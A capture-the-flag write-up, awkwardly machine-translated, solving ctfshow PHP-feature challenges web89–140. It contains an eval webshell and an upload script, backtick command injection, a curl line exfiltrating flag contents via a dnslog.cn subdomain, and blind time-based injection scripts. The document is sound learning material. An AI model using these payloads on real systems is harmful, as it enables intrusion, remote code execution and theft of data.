php features
Reference blogs are still Nanshen blog
web89
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
Here is an intval function: get the integer value of the variable
Returns the int value of the variable value by using the specified base conversion (decimal by default). intval() cannot be used for object, otherwise e will be generated_ Note error and returns 1.
?num[]=1
web90
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
num != 4476, but num === 4476, you can use the intval function to int
?num=4476.0
web91
show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; } Notice: Undefined index: cmd in /var/www/html/index.php on line 15 nonononono
To satisfy the regular / ^ php$/im but not / ^ php$/i, you can take a look at this m
/i means match case
/m multiple line matching. If there is a newline \ n and there is a start ^ or end $character, it will be matched line by line with a newline separator. However, when the newline character%0a appears, the value of $cmd will be treated as two lines. At this time, the second if regular match does not match the rule that starts with php and ends with php
?cmd=%0Aphp
web92
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
You can't use num=4476.0 because it uses weak comparison and won't compare floating-point and integer types. Here, you can use 16 to wrap around
?num=0x117c
web93
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
Although hexadecimal can bypass the first layer, he filtered the letters in the second layer, so he thought of octal, which starts with 0 directly
?num=010574
web94
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }
We won't start with 0 here, but we can add a plus sign in front of it as a space
?num=+010574
web95
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } }
It's just a little filtered. What's none of my business
?num=+010574
web96
highlight_file(__FILE__); if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } }
Just u= flag. PHP
?u=./flag.php
Of course, you can also use php pseudo protocol
?u=php://filter/read=convert.base64-encode/resource=flag.php
web97
include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; } ?>
a != b and md5(a) === md5(b)
Here md5 is a summary of Nanshen's blog https://www.wlhhlc.top/posts/16813/
Here, two arrays are passed directly, both of which return Null
a[]=1&b[]=2
web98
include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); ?>
Followed by the trinocular operator
If there is a get parameter transfer, the post parameter transfer address is given to get, which can be simply understood as that post overrides get
If get parameter http_ If the value of flag is flag, the file is read, that is, the flag is output
GET: ?a=b POST:HTTP_FLAG=flag
web99
highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); } ?>
First create an array, and then write a random number to the array through the for loop
The second is to judge whether n is passed in and whether n is in the array
Finally, use file_put_contents function writes data to
in_array(search,array,type) If the given value search Exist in array array Return in true. If the third parameter is set to true,The function returns only if the element exists in the array and the data type is the same as the given value true. If no parameter is found in the array, the function returns false. Note: if search The parameter is a string, and type The parameter is set to true,The search is case sensitive.
If a weak comparison is performed without the third parameter, there will be forced type conversion, such as 123 PHP will be converted to 123
GET: ?u=123.php POST:content=<?php @eval($_POST['mumuzi']);?>
Write a script
import requests url = 'http://0272970f-dd04-4b71-bd9b-fd8b76ea6992.challenge.ctf.show/' shell = '124.php' data = {'content':"<?php @eval($_POST['mumuzi']);?>"} url_shell = url+'?n='+shell YoN = True while YoN: getshell = requests.post(url=url_shell,data=data) shell_url=url+shell req = requests.get(url=shell_url) if(req.status_code == 200): print('[+]write in shell success') data2 = {'mumuzi':'system("tac flag36d.php");'} #First ls req2 = requests.post(url=shell_url,data=data2) print(req2.text) YoN = False else: print('[!]write in shell fail')
web100
highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?>
is_numeric is used to detect whether a variable is a number or a numeric string
The eval function is followed, which indicates the need for command execution. v3 needs a semicolon, and v2 cannot have a semicolon
In this case, v0 = $v1 and FALSE and FALSE
But php's operations have priority
&& > = > and
For example, $a = true and false;, Since the equal sign is greater than and, the value here is $a = True
?v1=1&v2=system("ls")&v3=; ctfshow.php flag36d.php index.php ?v1=1&v2=system("tac%20ctfshow.php")&v3=; $flag_is_8964b4200x2d4cbc0x2d41cc0x2dbe940x2dffad6a15d11e 0x2d Turn into- 8964b420-4cbc-41cc-be94-ffad6a15d11e
A hundred. That's nice
web101
highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?>
The underworld filters the family. I'll take you to fight
But there are other knowledge points, which can be found according to the hint provided by the group leader
Reflection class ReflectionClass Execute command ReflectionClass Reflection class in PHP5 New, inherited from Reflector,It can establish mapping relationship with defined classes, and can operate on classes through reflection classes Reflection classes can not only establish mappings to classes, but also to classes PHP The mapping of the basic method and returns the execution of the basic method. Therefore, you can create a reflection class new ReflectionClass(system('cmd'))To execute the command
?v1=1&v2=echo new ReflectionClass&v3=;
The obtained flag is still 0x2d - but the flag is missing one bit, so the last one needs to be blasted
European gas testing
NMD was tried 14 times
web102
highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); } ?>
is_numeric() Used to detect whether it is a number or a number string. If the specified variable is a number and a number string, it returns true,Otherwise return false. If the string contains a e Represents scientific counting method, and can also be returned true. substr($v2,2) Is equivalent to returning v2[2:] call_user_func() Functions are used to call methods or variables. The first parameter is the called function, and the second parameter is the parameter of the called function file_put_contents($v3,$str)Will be $str Write and save as $v3(The first parameter is the file name and the second parameter is the content)
Here, both v2 and v3 are numbers. substr takes v2[2:], which can start with 00, and then v1(v2[2:]). web100 said that the equal sign has higher priority than and, so v4 can be guaranteed to be true if v2 is a number
v2 should ensure that it can write a shell and be numeric.
First v2 is the shell, first the whole '<=` tac *`;' Then find a way to deal with it. If it is hex directly
With letters, I don't think so. After base64
3d is an equal sign. The decoding is not very strict. Wow, Golden Legend
v2 = 504438395948526859794171594473
v1 needs to hex decode it and use hex2bin (hexadecimal to ascii character, not binary)
v3 needs to decode it with base64, and the protocol stream that can be controlled can be decoded and written to the file with base64
Final payload: (remember to add 00 before v2)
GET:v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=mumuzi.php POST:v1=hex2bin
web103
highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); } } else{ die('hacker'); } ?>
v2 can't have skin. I like to eat skin. I didn't fart just now. I like to eat fart (eat melon)
GET:v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=mumuzi.php POST:v1=hex2bin
web104
highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } } ?>
It's around Kill 1!!
Pass two arrays as before md5
GET:?v2[]=1 POST:v1[]=2
web105
highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='What else do you want flag Huh?'; $suces='Since you want it, give it to you!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces); ?>
(then you should give me the flag directly)
Note that here $$key=$$value, $($key)=$($value), here $key=error, so a $error can be passed here (the variable overrides yes)
Here is die($error); And die($suces); Can output flag, so there are two ways to use it
payload1: execute die($suces)
In fact, you can see here that $flag is not equal to flag, so you can print the error information. Here, find a way to overwrite error with flag, so that you can print the error flag
First, overwrite get, and then overwrite suces. Because suces is used to output, and then there can be no flag in the value of post, so get a suces=flag first
Then you need to wrap around $flag. Because $suces has got the value of flag at this time, you can directly change $flag to something else here
?suces=flag&flag=1
payload2:
With the above idea, you can get a suces=flag and then post an error=suces
GET:suces=flag POST:error=suces
It's nice not to say
web106
highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } } ?>
V1 is added here on the basis of the previous one= V2, but just assign different values
GET:?v2[]=1 POST:v1[]=2
web107
highlight_file(__FILE__); error_reporting(0); include("flag.php"); if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } }
This involves the parse function of the letter_ str()
parse_str(string,array):Parse the query string into variables as parse_str("dota_st=yyds"); echo $dota_st."<br>"; #Southern God yyds
therefore
GET:?v3=flag POST:v1=flag=327a6c4304ad5938eaf0efb6cc3e53dc post The value of is v1=flag=md5($v3),Understand cutting
web108
highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); } //Only 36d people can see the flag if(intval(strrev($_GET['c']))==0x36d){ echo $flag; } ?>
ereg() The function searches for the string specified by the pattern as the string specified by the pattern, and returns if the pattern is found true,Otherwise return false. Search is case sensitive for alphabetic characters,Here is c The value of must be[a-zA-Z].Can use%00 Cut off! strrev() Function inverts the string. intval() Function to get the integer value of a variable
It says ereg can be truncated with% 00, so it's nothing
?c=MMZ%00778
***web109
highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); } } ?>
Is the order executed
v1 and v2 must have letters (not only letters)
I don't understand. Anyway, use the php built-in class to prevent v1 from reporting errors, and v2 executes the command
?v1=mysqli&v2=system('tac fl36dg.txt')
***web110
The group leader changed his description to say that he called the police (funny)
highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); } eval("echo new $v1($v2());"); } ?>
If you continue to use the previous payload here, you will find that the regular matching in v2 cannot be bypassed because you don't know what the file name is, but the system(ls) cannot execute
Nanshen write: you can use filesystemitrator and file system iterator to create a new filesystemitrator and use getcwd() to display the file structure in the current directory
?v1=FilesystemIterator&v2=getcwd
Echo fl36dga txt
Then visit URL / fl36dga Txt
web111
Variable coverage
highlight_file(__FILE__); error_reporting(0); include("flag.php"); function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); } if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); } }
var_ The dump() function is used to output information about variables
You can see that v1 and v2 are still regularly filtered here, and then if $v1 has ctfshow, it will enter the getFlag function
Then $ctfshow = $$v2 is executed
The global variable GLOBALS is used here
$GLOBALS - references all variables available in the global scope, a global combined array containing all variables. The name of the variable is the key of the array.
?v1=ctfshowweb&v2=GLOBALS
web112
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
Here comes the new function, is_ The file() function checks whether the specified file name is a normal file
Here, filter is a function defined to check whether the $file parameter contains regular items
?file=php://filter/resource=flag.php
web113
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
Try zip, bzip and zlib
?file=compress.zlib://flag.php
web114
error_reporting(0); highlight_file(__FILE__); function filter($file){ if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; echo "The masters actually tql All unexpected hum!"; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
Ah, didn't you expect compress
But there is no filter
?file=php://filter/resource=flag.php
***web115
include('flag.php'); highlight_file(__FILE__); error_reporting(0); function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; }
trim is a function that removes white space characters or other predefined characters on both sides of a string
num should be a number or numeric string, but it cannot be equal to 36. After taking out the blank character, it cannot be 36. After entering the filter, it must be 36
... hexadecimal and octal are restricted
php run a script to see what can bypass trim
<?php for ($i = 0; $i <= 128; $i++) { $a = chr($i) . '36'; if (trim($a) !== '36' && is_numeric($a)) { echo urlencode(chr($i)) . "\n"; } }
It is found that% 0c can be used to bypass the trim function
?num=%0c36
It's hard
web123
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
Liar, after setting a $fl0g = = = "flag_give_me", I found that there was an exclamation mark in front of it. This is not allowed
You can know that the flag is in $flag, and fun can be $flag for echo
Then post CTF_ SHOW=&CTF_ SHOW. COM=&c=echo $flag
But there is no echo. It is found after query that there is a point in the variable
In php, the variable name has only alphanumeric underscores. If the variable name passed in by get or post contains spaces, +, [it will be converted to so we can't construct the variable CTF_SHOW.COM (because it contains.), But there is a feature in php that if you pass in [, after it is converted to _, the following characters will be retained and will not be replaced
It is highly recommended to read the explanation here. In fact, it appears [php will look for it later]. If it is found, it is an array. If it is not found, it will be parsed into_
[PHP kernel] PHP kernel learning (IV) -- answer the string parsing feature bypass of PHP ([, spaces are parsed as, [[only the first [is parsed as)
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
web125
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
The payload was not used before, because echo and flag were disabled. Here, use the command to execute the knowledge points there
GET:?mumuzi=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[mumuzi])
***web126
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }
Oh, it's directly filtered. g i f c o d is really yours. There's I in highlight. It's useless
I did web127 first and then 126, so the test center went to see 127
Note that it will be transformed into an array, so we need to take the array here. Note that the eval function is added with a semicolon at the end
GET:?$fl0g=flag_give_me; POST:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])
Of course, you can use other ones
web127
error_reporting(0); include("flag.php"); highlight_file(__FILE__); $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING']; //Special character detection function waf($url){ if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){ return true; }else{ return false; } } if(waf($url)){ die("Huh?"); }else{ extract($_GET); } if($ctf_show==='ilove36d'){ echo $flag; }
The extract() function imports variables from the array into the current symbol table, using the array key name as the variable name and the array key value as the variable value
$_SERVER['argv'][0] = $_SERVER['QUERY_STRING'] query string yes Uniform Resource Locator (URL)Part of, It contains the information that needs to be passed to web application Data
<?php $a=$_SERVER['argv']; var_dump($a);
For example? If a=2, it will become $a=2
Oh, then the title ends with $ctf_show = ilove36d
When CTF is passed in_ When show = ilove36d, it will become $ctf_show=ilove36d, meeting the requirements
As I said before, spaces + [will be replaced with underscores. Here, we filter + and[
?ctf show=ilove36d
web128
error_reporting(0); include("flag.php"); highlight_file(__FILE__); $f1 = $_GET['f1']; $f2 = $_GET['f2']; if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "Huh?"; } function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); }
f1 cannot have numbers or letters, and then call_user_func was mentioned in 102, call_user_func() function is used to call methods or variables. The first parameter is the called function and the second parameter is the parameter of the called function.
f1 can use gettext to expand, using Southern God's
<?php echo gettext("dotastnb"); //Output result: dotastnb echo _("ctfshownb"); //Output result: ctfshownb
Therefore, f1 can be, call_user_func('', 'dotastnb') can output dotastnb, but there is also a call set outside_ user_ Func what can I do
You can use get_defined_vars function, although I don't know what it means, use it first
get_ defined_ Vars (void): the array function returns a multidimensional array containing a list of all defined variables, including environment variables, server variables and user-defined variables.
?f1=_&f2=get_defined_vars
The internal operations are:
var_dump(call_user_func(call_user_func($f1,$f2))); var_dump(call_user_func(call_user_func(_,'get_defined_vars'))); var_dump(call_user_func(get_defined_vars));//Output array
web129
error_reporting(0); highlight_file(__FILE__); if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ echo readfile($f); } }
stripos() — Finds the first occurrence of a string (case insensitive)
This means that if the location of ctfshow is greater than 0, the file will be read
<?php echo stripos("You love php, I love php too!","PHP"); ?> #output:9
?f=/ctfshow/../../../../../../../var/www/html/flag.php Then look at the source code
web130
error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = $_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); } echo $flag; }
f cannot be xxxctfshow (there's something ahead anyway)
Then FALSE, because it is a strong comparison, ctfshow is 0 even at the beginning, not FALSE. If it is a weak comparison, it will enter die('bye!! ');
So here payload is
POST:f=ctfshow
In fact, the test site here is the largest backtracking of regularity, Nanshen:
In order to prevent regular expression denial of service attack (reDOS), PHP sets an upper limit of backtracking times for pcre backtrack_ limit
The upper limit of backtracking times is 1 million by default. If the number of backtracking times exceeds 1 million, preg_match will no longer return non-1 and 0, but false
import requests url = " " data = { 'f': 'dotast'*170000+'ctfshow' } res = requests.post(url=url,data=data) print(res.text)
web131
error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = (String)$_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); } echo $flag; }
This time, there are other things ahead, so use the script
import requests url = "http://8b6b53a0-d082-4c0b-a21d-6d4ec4199440.challenge.ctf.show/" data = { 'f': 'mumuzi'*170000+'36Dctfshow' } res = requests.post(url=url,data=data) print(res.text)
web132
Open is a website, robots Txt has a / admin. After accessing
#error_reporting(0); include("flag.php"); highlight_file(__FILE__); if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code']; if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }
php operator priority | priority is lower than&&
So here, one of password=$flag and username=admin can be satisfied, and then the code should be admin
?username=admin&password=&code=admin
web133
error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6 Not even one letter is enough?!"); } }
Can you execute the 6-character command? Try to bypass ing. However, go to Firebasky's blog here https://blog.csdn.net/qq_46091464/article/details/109095382 (find the blogger). The original words are as follows:
We pass?F=`$F`;+sleep 3 It seems that the website does sleep After a while, it showed that the command was indeed executed **Then why?** Because we passed it on`$F`;+sleep 3. First substr()Function truncation and execution eval()function This function is used to execute php code,``yes shell_exec()Function, and then go to the command execution. and $F That's what we entered`$F`;+sleep 3 The code to use the last execution should be ``$F`;+sleep 3`,The execution is successful It may be a little windy here. Take your time to understand
However, the command can be executed here without echo. You can find a method to take out, which is used here http://www.dnslog.cn/
?F=`$F`; curl `cat flag.php|grep "flag"`.di5nz0.dnslog.cn
Just add parentheses
ctfshow{cdf42e3b-da64-45f9-9400-e0f43a6db0bf}
web134
highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }
parse_str():Parse the query string into variables extract():Function imports a variable from an array into the current symbol table $_SERVER['QUERY_STRING']: web127
Variable coverage. After all, key1 and key2 are the last questions here, and then POST and GET can be used here
parse_str($_SERVER['QUERY_STRING']); var_dump($_POST); It will be output as an array first, and then extract It becomes a normal transmission parameter ?_POST[a]=dotast Will output array(1) { ["a"]=> string(6) "dotast" },Reuse extract Function, it becomes $a=dotast
paylaod:
GET:?_POST[key1]=36d&_POST[key2]=36d flag In source code
web135
error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("The masters have cracked the previous one. Let's have an enhanced version"); } }
web133 plus
It's master Firebasky's problem, huh
The payload given here uses cp to set the flag PHP to 1 Web133 doesn't work, but web133 doesn't
?F=`$F `;cp flag.php 1.txt
Then visit 1 txt
web136
<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
Master Yu came out this time. It seems to be a command execution and then bypass. For exec, it is to execute an external program, echo the last line, and use echo output.
There is no echo here, so there is no echo, so I want to output it to a text with a pipe character
But the > symbol is filtered here. What should I do
According to the query, it is found that tee instruction can be used
tee a.txt b.txt,take a.txt Copy to b.txt ls | tee b.txt,take ls Write the execution result of the command b.txt
?c=ls /|tee ls
Write the result of ls to "ls"
alike
?c=tac /f149_15_h3r3|tee flag
Access / flag
web137
error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } call_user_func($_POST['ctfshow']);
Here we begin to contact the class. Here we can call getFlag class directly
POST:ctfshow=ctfshow::getFlag
Then check the source code
web138
error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } if(strripos($_POST['ctfshow'], ":")>-1){ die("private function"); } call_user_func($_POST['ctfshow']);
Ouch, the strripos() function finds the last occurrence of xxx in the string. If it is greater than - 1, exit the function, which means that colons are not allowed
Call here_ user_ Func function
You can use arrays
So payload
POST:ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139
<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
web136 plus?
By trying the previous operation, it is found that the page is still on the current page when visiting again, so it is speculated that the file cannot be written
This involves shell programming and blind injection. In fact, it is equivalent to blind annotation of file name and file content
You can use commands such as awk to intercept strings, and cut can split characters
if statement and sleep() function of shell programming can be used to judge the execution result of the command
Let's experiment here. First, write a flag in the current directory php
this is flag.php your flag is: flag{test_a_flag}
Using awk
Then use the cut command to cut
Judge by if and sleep, so you can write a script.
First check the root directory and the name of the file, for example:
Then I waited here a little longer
import requests url = 'http://8989567d-f261-4a8a-9cef-004ab4b81cc8.challenge.ctf.show' res = '' for i in range(1,10): for j in range(1,20): for k in range(32,128): k = chr(k) payload = "?c="+f"if [ `ls / | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi" try: requests.get(url=url+payload,timeout=(1.5,1.5)) except: res += k print(res) break res += ' '
Take this opportunity to write the exp of reading flag, and then find that you only need to change ls / to cat / file name. Forget it, wait slowly
Then because of the network speed problem in my campus, there will be fewer characters in 2 seconds..........
It should be the same as 136, f149_15_h3r3, but the campus network card is outrageous. It's 1.5 times out. I'm laughing to death. I'm still learning a hair
import requests url = 'http://8989567d-f261-4a8a-9cef-004ab4b81cc8.challenge.ctf.show' res = '' for j in range(1,60): for k in range(32,128): k = chr(k) payload = "?c="+f"if [ `cat /f149_15_h3r3 | cut -c {j}` == {k} ];then sleep 2;fi" try: requests.get(url=url+payload,timeout=(1.5,1.5)) except: res += k print(res) break res += ' '
web140
error_reporting(0); highlight_file(__FILE__); if(isset($_POST['f1']) && isset($_POST['f2'])){ $f1 = (String)$_POST['f1']; $f2 = (String)$_POST['f2']; if(preg_match('/^[a-z0-9]+$/', $f1)){ if(preg_match('/^[a-z0-9]+$/', $f2)){ $code = eval("return $f1($f2());"); if(intval($code) == 'ctfshow'){ echo file_get_contents("flag.php"); } } } }
